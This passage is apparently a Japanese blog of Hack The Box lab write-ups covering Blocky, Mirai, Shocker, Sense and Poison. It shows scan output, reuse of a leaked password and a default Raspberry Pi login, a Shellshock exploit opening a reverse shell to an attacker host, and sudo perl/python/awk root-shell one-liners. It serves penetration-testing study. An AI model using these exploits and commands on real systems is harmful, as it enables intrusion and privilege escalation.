==> DIRECTORY: http://blocky.htb/plugins/assets/                                                                            
==> DIRECTORY: http://blocky.htb/plugins/files/                                                                             
+ http://blocky.htb/plugins/index.html (CODE:200|SIZE:745)                                                                  
                                                                                                                            
---- Entering directory: http://blocky.htb/wiki/ ----
+ http://blocky.htb/wiki/index.php (CODE:200|SIZE:380)                                                                      
                                                                                                                            
---- Entering directory: http://blocky.htb/wp-admin/ ----
+ http://blocky.htb/wp-admin/admin.php (CODE:302|SIZE:0)                                                                    
==> DIRECTORY: http://blocky.htb/wp-admin/css/                                                                              
==> DIRECTORY: http://blocky.htb/wp-admin/images/                                                                           
==> DIRECTORY: http://blocky.htb/wp-admin/includes/                                                                         
+ http://blocky.htb/wp-admin/index.php (CODE:302|SIZE:0)                                                                    
==> DIRECTORY: http://blocky.htb/wp-admin/js/                                                                               
==> DIRECTORY: http://blocky.htb/wp-admin/maint/                                                                            
==> DIRECTORY: http://blocky.htb/wp-admin/network/                                                                          
==> DIRECTORY: http://blocky.htb/wp-admin/user/                                                                             
                                                                                                                            
---- Entering directory: http://blocky.htb/wp-content/ ----
+ http://blocky.htb/wp-content/index.php (CODE:200|SIZE:0)                                                                  
==> DIRECTORY: http://blocky.htb/wp-content/plugins/                                                                        
==> DIRECTORY: http://blocky.htb/wp-content/themes/                                                                         
==> DIRECTORY: http://blocky.htb/wp-content/uploads/                                                                        
                                                                                                                            
---- Entering directory: http://blocky.htb/wp-includes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                            
---- Entering directory: http://blocky.htb/javascript/jquery/ ----
+ http://blocky.htb/javascript/jquery/jquery (CODE:200|SIZE:284394)                                                         
                                                                                                                            
---- Entering directory: http://blocky.htb/phpmyadmin/doc/ ----
==> DIRECTORY: http://blocky.htb/phpmyadmin/doc/html/                                                                       
                                                                                                                            
---- Entering directory: http://blocky.htb/phpmyadmin/js/ ----
                                                                                                                            
(!) FATAL: Too many errors connecting to host
    (Possible cause: COULDNT CONNECT)
                                                                               
-----------------
DOWNLOADED: 43333 - FOUND: 14

いくつかの検出がありました。

wikiにアクセスしてみるとプラグインが完成次第公開するような旨のメッセージが表示されました。

wikiのメッセージ

また、pluginのディレクトリにアクセスするとjarファイルが取得できます。

┌──(kali㉿kali)-[~]
└─$ wget http://blocky.htb/plugins/files/BlockyCore.jar 
  http://blocky.htb/plugins/files/BlockyCore.jar
blocky.htb (blocky.htb) をDNSに問いあわせています... 10.10.10.37
blocky.htb (blocky.htb)|10.10.10.37|:80 に接続しています... 接続しました。
HTTP による接続要求を送信しました、応答を待っています... 200 OK
長さ: 883 [application/java-archive]
`BlockyCore.jar' に保存中


BlockyCore.jar                  100%[====================================================>]     883  --.-KB/s 時間 0s       


2022-08-04 14:28:10 (153 MB/s) - `BlockyCore.jar' へ保存完了 [883/883]

jd-guiでファイルの中身を確認するとパスワードのような文字列が見つかりました。

解析結果

なお、このアカウントではWordpressにログインできませんでした。

 

wpscanの結果

┌──(kali㉿kali)-[~]
└─$ wpscan --url http://blocky.htb --enumerate 
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|


         WordPress Security Scanner by the WPScan Team
                         Version 3.8.22
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________


[+] URL: http://blocky.htb/ [10.10.10.37]

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.18 (Ubuntu)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://blocky.htb/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/


[+] WordPress readme found: http://blocky.htb/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%


[+] Upload directory has listing enabled: http://blocky.htb/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%


[+] The external WP-Cron seems to be enabled: http://blocky.htb/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299


[+] WordPress version 4.8 identified (Insecure, released on 2017-06-08).
 | Found By: Rss Generator (Passive Detection)
 |  - http://blocky.htb/index.php/feed/, https://wordpress.org/?v=4.8
 |  - http://blocky.htb/index.php/comments/feed/, https://wordpress.org/?v=4.8


[+] WordPress theme in use: twentyseventeen
 | Location: http://blocky.htb/wp-content/themes/twentyseventeen/
 | Last Updated: 2022-05-24T00:00:00.000Z
 | Readme: http://blocky.htb/wp-content/themes/twentyseventeen/README.txt
 | [!] The version is out of date, the latest version is 3.0
 | Style URL: http://blocky.htb/wp-content/themes/twentyseventeen/style.css?ver=4.8
 | Style Name: Twenty Seventeen
 | Style URI: https://wordpress.org/themes/twentyseventeen/
 | Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo...
 | Author: the WordPress team
 | Author URI: https://wordpress.org/
 |
 | Found By: Css Style In Homepage (Passive Detection)
 |
 | Version: 1.3 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://blocky.htb/wp-content/themes/twentyseventeen/style.css?ver=4.8, Match: 'Version: 1.3'


[+] Enumerating Vulnerable Plugins (via Passive Methods)


[i] No plugins Found.


[+] Enumerating Vulnerable Themes (via Passive and Aggressive Methods)
 Checking Known Locations - Time: 00:00:54 <=============================================> (474 / 474) 100.00% Time: 00:00:54
[+] Checking Theme Versions (via Passive and Aggressive Methods)


[i] No themes Found.


[+] Enumerating Timthumbs (via Passive and Aggressive Methods)
 Checking Known Locations - Time: 00:04:47 <===========================================> (2575 / 2575) 100.00% Time: 00:04:47


[i] No Timthumbs Found.


[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:16 <==============================================> (137 / 137) 100.00% Time: 00:00:16


[i] No Config Backups Found.


[+] Enumerating DB Exports (via Passive and Aggressive Methods)
 Checking DB Exports - Time: 00:00:08 <====================================================> (71 / 71) 100.00% Time: 00:00:08


[i] No DB Exports Found.


[+] Enumerating Medias (via Passive and Aggressive Methods) (Permalink setting must be set to "Plain" for those to be detected)
 Brute Forcing Attachment IDs - Time: 00:00:10 <=========================================> (100 / 100) 100.00% Time: 00:00:10


[i] No Medias Found.


[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:03 <===============================================> (10 / 10) 100.00% Time: 00:00:03


[i] User(s) Identified:


[+] notch
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By:
 |  Wp Json Api (Aggressive Detection)
 |   - http://blocky.htb/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)


[+] Notch
 | Found By: Rss Generator (Passive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)


[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

notchというユーザがいることがわかりました。

 

アクセス取得

上記で得られた情報をもとにsshでアクセスしてみます。

rootではアクセスできず、notchでjarファイルから得られたパスワードを使用することでログインできました。

また、notchはすべてのコマンドがrootで実行可能であるため、sudo suでrootを取得できました。

root取得

参考にさせていただいたサイト

貴重な情報をありがとうございます。

www.freecodecamp.org

 

 

【Hack The Box】Mirai

偵察/スキャン

nmapでスキャンします。

┌──(kali㉿kali)-[~]
└─$ nmap -T4 -P0 -sC -sV -A -p- 10.10.10.48
Starting Nmap 7.92 ( https://nmap.org ) 
Nmap scan report for 10.10.10.48
Host is up (0.26s latency).
Not shown: 65529 closed tcp ports (conn-refused)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
| ssh-hostkey: 
|   1024 aa:ef:5c:e0:8e:86:97:82:47:ff:4a:e5:40:18:90:c5 (DSA)
|   2048 e8:c1:9d:c5:43:ab:fe:61:23:3b:d7:e4:af:9b:74:18 (RSA)
|   256 b6:a0:78:38:d0:c8:10:94:8b:44:b2:ea:a0:17:42:2b (ECDSA)
|_  256 4d:68:40:f7:20:c4:e5:52:80:7a:44:38:b8:a2:a7:52 (ED25519)
53/tcp    open  domain  dnsmasq 2.76
| dns-nsid: 
|_  bind.version: dnsmasq-2.76
80/tcp    open  http    lighttpd 1.4.35
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: lighttpd/1.4.35
1693/tcp  open  upnp    Platinum UPnP 1.0.5.13 (UPnP/1.0 DLNADOC/1.50)
32400/tcp open  http    Plex Media Server httpd
|_http-title: Unauthorized
|_http-favicon: Plex
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Server returned status 401 but no WWW-Authenticate header.
|_http-cors: HEAD GET POST PUT DELETE OPTIONS
32469/tcp open  upnp    Platinum UPnP 1.0.5.13 (UPnP/1.0 DLNADOC/1.50)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

いくつかポートが開いていることがわかりました。

TCP/32400はPLEXというメディアサーバの管理画面が表示されました。

ログイン試行やユーザの登録等、アクセスにつながりそうなものがないか調べましたが、ここからはアクセス取得はできませんでした。

TCP/32400へのアクセス結果

TCP/80にアクセスするとPi-Holeという広告ブロックソフトの管理画面が表示されました。
ここからはアクセス取得はできませんでしたが、MiraiがRaspberry Piで同際していることがわかりました。

TCP/80へのアクセス結果

 

アクセス取得

次にsshでのアクセスを試みます。

マシン名の「Mirai」はデフォルトのアカウントを使用して感染を広げるマルウェアなので、Raspberry Piのデフォルトアカウントでアクセスを試しました。

※アカウント:pi/raspberry

┌──(kali㉿kali)-[~]
└─$ ssh pi@10.10.10.48           
The authenticity of host '10.10.10.48 (10.10.10.48)' can't be established.
ED25519 key fingerprint is SHA256:TL7joF/Kz3rDLVFgQ1qkyXTnVQBTYrV44Y2oXyjOa60.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.48' (ED25519) to the list of known hosts.
pi@10.10.10.48's password: 

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Aug 27 14:47:50 2017 from localhost

SSH is enabled and the default password for the 'pi' user has not been changed.
This is a security risk - please login as the 'pi' user and type 'passwd' to set a new password.

SSH is enabled and the default password for the 'pi' user has not been changed.
This is a security risk - please login as the 'pi' user and type 'passwd' to set a new password.

pi@raspberrypi:~ $ 

デフォルトのアカウントでアクセスができました。

 

特権昇格

sudo -lをすると「(ALL:ALL)ALL (ALL)NOPASSWD:ALL」と表示されました。

piではsudoコマンドが自由に使用できるようです。

そのため、sudo suを実行したところ、rootが取得できました。

pi@raspberrypi:/ $ sudo su
root@raspberrypi:/# cd root/
root@raspberrypi:~# ls
root.txt
root@raspberrypi:~# cat root.txt 
I lost my original root.txt! I think I may have a backup on my USB stick...

 

rootは簡単に取得できたのですが、root.txtが消されてしまったようです。

上記のメッセージに従ってusbstickに移動するとroot.txtはなく、代わりに別のメッセージがあり、usbstickのファイルを削除してしまったと告げられます。

 

この後、ファイルの復元方法を調べてみましたがどれもうまくいきませんでした。

自分はここまでで、他の方の回答を見ると、stringsコマンドでフラグを取得している方法がありました。

Linuxではデバイスファイルという仕組みがあります。デバイスファイルは、PCに接続した周辺機器をファイルシステム上のファイルのように扱い、ファイルの読み書きと同じ手順でデータの入出力や制御することができる仕組みです。
デバイスファイルは機器を接続すると「/dev/」ディレクトリ配下のファイルとして出現します。

今回の場合だと/dev/sdbにusbsticksがあることがわかります。

root@raspberrypi:~# lsblk
NAME   MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT
sda      8:0    0   10G  0 disk 
├─sda1   8:1    0  1.3G  0 part /lib/live/mount/persistence/sda1
└─sda2   8:2    0  8.7G  0 part /lib/live/mount/persistence/sda2
sdb      8:16   0   10M  0 disk /media/usbstick
sr0     11:0    1 1024M  0 rom  
loop0    7:0    0  1.2G  1 loop /lib/live/mount/rootfs/filesystem.squashfs
root@raspberrypi:~# cat /dev/sdb 

実際にstinrgsコマンドを実行するとフラグを取得することができました。

フラグ取得

 

参考にさせていただいたサイト

貴重な情報をありがとうございます。

mopenten.com

e-words.jp

lpi.or.jp

 

 

 

【Hack The Box】Shocker

偵察/スキャン

nmapの結果よりTCP80,2222が開いていることがわかります。

┌──(kali㉿kali)-[~]
└─$ nmap -T4 -p- -sC -sV 10.10.10.56
Starting Nmap 7.92 ( https://nmap.org ) 
Warning: 10.10.10.56 giving up on port because retransmission cap hit (6).
Nmap scan report for 10.10.10.56
Host is up (0.27s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT      STATE    SERVICE VERSION
80/tcp    open     http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
2222/tcp  open     ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_  256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
29065/tcp filtered unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

ブラウザでアクセスすると以下のような画面が表示されます。

ブラウザでアクセスした様子

ページのソースを見ても画像ファイルが表示されるだけのページなので、アクセス取得につながりそうな情報は見つけられませんでした。

また、nmapで検出されたバージョン情報について脆弱性を調査しましたが、アクセス取得に至るような情報は見つけられませんでした。

  • 80/tcp    open     http    Apache httpd 2.4.18 *1
  • 2222/tcp  open     ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)

続けて、dirbでWebの調査を行います。

┌──(kali㉿kali)-[~]
└─$ dirb http://10.10.10.56 
-----------------
DIRB v2.22    
By The Dark Raver
-----------------
URL_BASE: http://10.10.10.56/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612                                                          
---- Scanning URL: http://10.10.10.56/ ----
+ http://10.10.10.56/cgi-bin/ (CODE:403|SIZE:294)                                                  
+ http://10.10.10.56/index.html (CODE:200|SIZE:137)                                                            + http://10.10.10.56/server-status (CODE:403|SIZE:299)                                                  -----------------

アクセスはできませんが3つ検出がありました。

 

補足:CGIについて

CGI(シージーアイ、Common Gateway Interface)とは、ウェブサーバが独立した外部プロセス(CGIプログラム)でウェブページを生成できるようにする仕組みです。CGIプログラムの記述にはPerlなどのスクリプト言語がよく用いられますが、基本的に標準入出力を備えているプログラミング言語であれば(たとえばC言語やシェルスクリプトでも)CGIプログラムを記述することは可能です。

ja.wikibooks.org

 

なので、http://10.10.10.56/cgi-bin/の配下にスクリプト等のファイルがないか調査します。

┌──(kali㉿kali)-[~]
└─$ dirb http://10.10.10.56/cgi-bin/ -X .sh,.pl,.txt,.php,.py
-----------------
DIRB v2.22    
By The Dark Raver
-----------------
URL_BASE: http://10.10.10.56/cgi-bin/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
EXTENSIONS_LIST: (.sh,.pl,.txt,.php,.py) | (.sh)(.pl)(.txt)(.php)(.py) [NUM = 5]
-----------------
GENERATED WORDS: 4612                                                          
---- Scanning URL: http://10.10.10.56/cgi-bin/ ----
+ http://10.10.10.56/cgi-bin/user.sh (CODE:200|SIZE:118)                                                           -----------------
DOWNLOADED: 23060 - FOUND: 1

 

user.shが見つかりました。中身を見てみます。

┌──(kali㉿kali)-[~]
└─$ curl http://10.10.10.56/cgi-bin/user.sh
Content-Type: text/plain

Just an uptime test script

 20:58:37 up  1:34,  0 users,  load average: 0.00, 0.00, 0.00

アクセスしてみると何かが実行されたような結果が得られます。

 

CGIに関連する脆弱性情報をインターネットで調査してみます。

CGI関連の脆弱性には「Shellshock」があります。

 

「Shellshock」脆弱性とは何か
Linux などで使用されるオープンソースプログラム「Bourne Again shell(bash)」コマンドシェルに重大な脆弱性が存在することが確認されました。bash は、ほとんどの Linux ディストリビューションで一般的に利用されているシェルです。攻撃者は、「Shellshock」と呼ばれる脆弱性「CVE-2014-7169」のあるシステム上でコマンドを実行することが可能になります。つまり、これらの Linux ディストリビューションが稼働しているサーバで、この脆弱性は遠隔からコードを実行することを可能にします。
Unix系の OS環境で最もよく使われているシェルに重大な不具合が確認されました。この不具合により、攻撃者はネットワーク経由で任意のあらゆるコマンドを実行することが可能になります。最も影響を受けるのは、CGI 環境を使用した Webサーバです。

blog.trendmicro.co.jp

 

Shellshockの脆弱性があるか確認してみます。

┌──(kali㉿kali)-[~]
└─$ nmap -p 80 --script http-shellshock --script-args uri=/cgi-bin/user.sh,cmd=ls 10.10.10.56
Nmap scan report for 10.10.10.56
Host is up (0.47s latency).

PORT   STATE SERVICE
80/tcp open  http
| http-shellshock: 
|   VULNERABLE:
|   HTTP Shellshock vulnerability
|     State: VULNERABLE (Exploitable)
|     IDs:  CVE:CVE-2014-6271
|       This web application might be affected by the vulnerability known
|       as Shellshock. It seems the server is executing commands injected
|       via malicious HTTP headers.
|             
|     Disclosure date: 2014-09-24
|     Exploit results:
|       
|  
|  
|   
|  Internal Server Error
|  The server encountered an internal error or
|   misconfiguration and was unable to complete
|   your request.
|  Please contact the server administrator at 
|    webmaster@localhost to inform them of the time this error occurred,
|    and the actions you performed just before this error.
|  More information about this error may be available
|   in the server error log.
|  
|  Apache/2.4.18 (Ubuntu) Server at 10.10.10.56 Port 80
|   
|   
|     References:
|       http://www.openwall.com/lists/oss-security/2014/09/24/10
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271
|       http://seclists.org/oss-sec/2014/q3/685
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7169

Shellshockの脆弱性があることが確認できました。

 

アクセス取得

shellshockの脆弱性があることがわかったので、そこからアクセスを取得します。

┌──(kali㉿kali)-[~]
└─$ searchsploit shellshock                                                                                              6 ⨯
------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                             |  Path
------------------------------------------------------------------------------------------- ---------------------------------
Advantech Switch - 'Shellshock' Bash Environment Variable Command Injection (Metasploit)   | cgi/remote/38849.rb
Apache mod_cgi - 'Shellshock' Remote Command Injection                                     | linux/remote/34900.py
Bash - 'Shellshock' Environment Variables Command Injection                                | linux/remote/34766.php
Bash CGI - 'Shellshock' Remote Command Injection (Metasploit)                              | cgi/webapps/34895.rb
Cisco UCS Manager 2.1(1b) - Remote Command Injection (Shellshock)                          | hardware/remote/39568.py
dhclient 4.1 - Bash Environment Variable Command Injection (Shellshock)                    | linux/remote/36933.py
GNU Bash - 'Shellshock' Environment Variable Command Injection                             | linux/remote/34765.txt
IPFire - 'Shellshock' Bash Environment Variable Command Injection (Metasploit)             | cgi/remote/39918.rb
NUUO NVRmini 2 3.0.8 - Remote Command Injection (Shellshock)                               | cgi/webapps/40213.txt
OpenVPN 2.2.29 - 'Shellshock' Remote Command Injection                                     | linux/remote/34879.txt
PHP < 5.6.2 - 'Shellshock' Safe Mode / disable_functions Bypass / Command Injection        | php/webapps/35146.txt
Postfix SMTP 4.2.x < 4.2.48 - 'Shellshock' Remote Command Injection                        | linux/remote/34896.py
RedStar 3.0 Server - 'Shellshock' 'BEAM' / 'RSSMON' Command Injection                      | linux/local/40938.py
Sun Secure Global Desktop and Oracle Global Desktop 4.61.915 - Command Injection (Shellsho | cgi/webapps/39887.txt
TrendMicro InterScan Web Security Virtual Appliance - 'Shellshock' Remote Command Injectio | hardware/remote/40619.py
------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
------------------------------------------------------------------------------------------- ---------------------------------
 Paper Title                                                                               |  Path
------------------------------------------------------------------------------------------- ---------------------------------
The ShellShock Attack [Paper]                                                              | docs/english/48112-the-shellshoc
------------------------------------------------------------------------------------------- ---------------------------------
                                                                                                                             
┌──(kali㉿kali)-[~]
└─$ searchsploit -m 34900  
  Exploit: Apache mod_cgi - 'Shellshock' Remote Command Injection
      URL: https://www.exploit-db.com/exploits/34900
     Path: /usr/share/exploitdb/exploits/linux/remote/34900.py
File Type: Python script, ASCII text executable

Copied to: /home/kali/34900.py

上記のスクリプトを実行します。

※ncで待ち受けせずに実行可能です。

┌──(kali㉿kali)-[~]
└─$ python2 34900.py payload=reverse rhost=10.10.10.56 lhost=10.10.16.3 lport=4444  pages=/cgi-bin/user.sh               1 ⨯
[!] Started reverse shell handler
[-] Trying exploit on : /cgi-bin/user.sh
[!] Successfully exploited
[!] Incoming connection from 10.10.10.56
10.10.10.56> uname -a
Linux Shocker 4.4.0-96-generic #119-Ubuntu SMP Tue Sep 12 14:59:54 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

10.10.10.56> sudo -l
Matching Defaults entries for shelly on Shocker:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User shelly may run the following commands on Shocker:
    (root) NOPASSWD: /usr/bin/perl

10.10.10.56> whoami
shelly

 

特権昇格

上記のsudo -lの実行結果で、Perlがroot権限で実行可能なことがわかります。

sudoでの実行権限にPython、Perl、Ruby、AWKなど、スクリプト言語のバイナリを許可している場合、root権限で任意のコマンドが実行可能です。

以下のコマンドでrootの取得ができました。

10.10.10.56> sudo /usr/bin/perl -e 'exec "/bin/bash";'
10.10.10.56> id
uid=0(root) gid=0(root) groups=0(root)

 

補足:その他言語での実行例

Pythonの例

$ sudo python3 -c 'import os; os.system("/bin/bash")'

AWKの例

$ sudo awk 'BEGIN {system("/bin/bash")}'

 

参考にさせていただいたサイト

貴重な情報をありがとうございます。

qiita.com

jpn.nec.com

www.exploit-db.com

 

 

 

*1:Ubuntu

【Hack The Box】Sense

偵察/スキャン

nmapでスキャンした結果、TCP80/443が開いていることがわかりました。

┌──(kali㉿kali)-[~]
└─$ nmap -P0 -sC -sV -A -p- 10.10.10.60 --open 
Starting Nmap 7.92 ( https://nmap.org )
Nmap scan report for 10.10.10.60
Host is up (0.22s latency).
Not shown: 65533 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT    STATE SERVICE  VERSION
80/tcp  open  http     lighttpd 1.4.35
|_http-title: Did not follow redirect to https://10.10.10.60/
|_http-server-header: lighttpd/1.4.35
443/tcp open  ssl/http lighttpd 1.4.35
|_http-title: Login
| ssl-cert: Subject: commonName=Common Name (eg, YOUR name)/organizationName=CompanyName/stateOrProvinceName=Somewhere/countryName=US
| Not valid before: 2017-10-14T19:21:35
|_Not valid after:  2023-04-06T19:21:35
|_ssl-date: TLS randomness does not represent time
|_http-server-header: lighttpd/1.4.35


Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) 

ブラウザでアクセスしてみるとログインページが表示されます。

ブラウザでのアクセス結果

なお、「pfsense」とはオープンソースのファイアウォールのようです。

www.designet.co.jp

デフォルトのアカウント「admin/pfsense」はログインできませんでした。

 

dirbでスキャンして検出されたディレクトリからは何も見つけられませんでした。

┌──(kali㉿kali)-[~]
└─$ dirb https://10.10.10.60

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

URL_BASE: https://10.10.10.60/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------
GENERATED WORDS: 4612                                                          

---- Scanning URL: https://10.10.10.60/ ----
==> DIRECTORY: https://10.10.10.60/classes/                                                                                 
==> DIRECTORY: https://10.10.10.60/css/                                                                                     
+ https://10.10.10.60/favicon.ico (CODE:200|SIZE:1406)                                                                      
==> DIRECTORY: https://10.10.10.60/includes/                                                                                
+ https://10.10.10.60/index.html (CODE:200|SIZE:329)                                                                        
+ https://10.10.10.60/index.php (CODE:200|SIZE:6690)                                                                        
==> DIRECTORY: https://10.10.10.60/installer/                                                                               
==> DIRECTORY: https://10.10.10.60/javascript/                                                                              
==> DIRECTORY: https://10.10.10.60/themes/                                                                                  
==> DIRECTORY: https://10.10.10.60/tree/                                                                                    
==> DIRECTORY: https://10.10.10.60/widgets/                                                                                 
+ https://10.10.10.60/xmlrpc.php (CODE:200|SIZE:384)          

 

gobusterでファイルのスキャンをします。

※-tはThreadsの指定オプション

┌──(kali㉿kali)-[~]
└─$ gobuster dir -k -u https://10.10.10.60/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -s '200,204,301,302,307,403,500' -e -x txt -t 30
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     https://10.10.10.60/
[+] Method:                  GET
[+] Threads:                 30
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              txt
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
https://10.10.10.60/themes               (Status: 301) [Size: 0] [--> https://10.10.10.60/themes/]
https://10.10.10.60/css                  (Status: 301) [Size: 0] [--> https://10.10.10.60/css/]   
https://10.10.10.60/includes             (Status: 301) [Size: 0] [--> https://10.10.10.60/includes/]
https://10.10.10.60/javascript           (Status: 301) [Size: 0] [--> https://10.10.10.60/javascript/]
https://10.10.10.60/changelog.txt        (Status: 200) [Size: 271]                                    
https://10.10.10.60/classes              (Status: 301) [Size: 0] [--> https://10.10.10.60/classes/]   
https://10.10.10.60/widgets              (Status: 301) [Size: 0] [--> https://10.10.10.60/widgets/]   
https://10.10.10.60/tree                 (Status: 301) [Size: 0] [--> https://10.10.10.60/tree/]      
https://10.10.10.60/shortcuts            (Status: 301) [Size: 0] [--> https://10.10.10.60/shortcuts/https://10.10.10.60/installer            (Status: 301) [Size: 0] [--> https://10.10.10.60/installer/https://10.10.10.60/wizards              (Status: 301) [Size: 0] [--> https://10.10.10.60/wizards/]   
https://10.10.10.60/csrf                 (Status: 301) [Size: 0] [--> https://10.10.10.60/csrf/]      
https://10.10.10.60/system-users.txt     (Status: 200) [Size: 106]                                    
https://10.10.10.60/filebrowser          (Status: 301) [Size: 0] [--> https://10.10.10.60/filebrowser/]
https://10.10.10.60/%7Echeckout%7E       (Status: 403) [Size: 345]

gobusterの結果でsystem-users.txtが検出されました。

system-users.txtの中身

「rohit/pfsense」でログインできました。

ログイン後のイメージ

 

アクセス取得

ログインページからはpfsenseのバージョンが2.1.3であることがわかります。

Google検索すると、CVE-2014-4688に対して脆弱であることがわかります。

www.exploit-db.com

 

上記を使ってシェル取得をしてみます。

エクスプロイトの実行

 

シェルの取得

スクリプトが動作しrootが取得できました。

 

参考にさせていただいたサイト

貴重な情報をありがとうございます。

sanposhiho.com

 

 

 

【Hack The Box】Poison

偵察/スキャン

nmapでポートスキャンを行います。

┌──(kali㉿kali)-[~]
└─$ ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.84 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
                                                                                                                             
┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV -p$ports 10.10.10.84
Starting Nmap 7.92 ( https://nmap.org )
Nmap scan report for 10.10.10.84
Host is up (0.20s latency).


PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2 (FreeBSD 20161230; protocol 2.0)
| ssh-hostkey: 
|   2048 e3:3b:7d:3c:8f:4b:8c:f9:cd:7f:d2:3a:ce:2d:ff:bb (RSA)
|   256 4c:e8:c6:02:bd:fc:83:ff:c9:80:01:54:7d:22:81:72 (ECDSA)
|_  256 0b:8f:d5:71:85:90:13:85:61:8b:eb:34:13:5f:94:3b (ED25519)
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd


Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.86 seconds

 

TCP22/80が開いていることがわかります。

ブラウザでアクセスすると以下のページが表示されます。

ブラウザでのアクセスの様子

「Scriptname」にページ内に記載のあるファイル名を入力し「Submit」すると結果が表示されるようです。

「listfiles.php」と入力して実行すると、気になるファイル名が表示されます。

listfiles.phpの実行結果

pwdbackup.txtの実行結果

パスワードが13回エンコードされているようなので、以下のプログラムで13回デコードします。

from base64 import b64decode


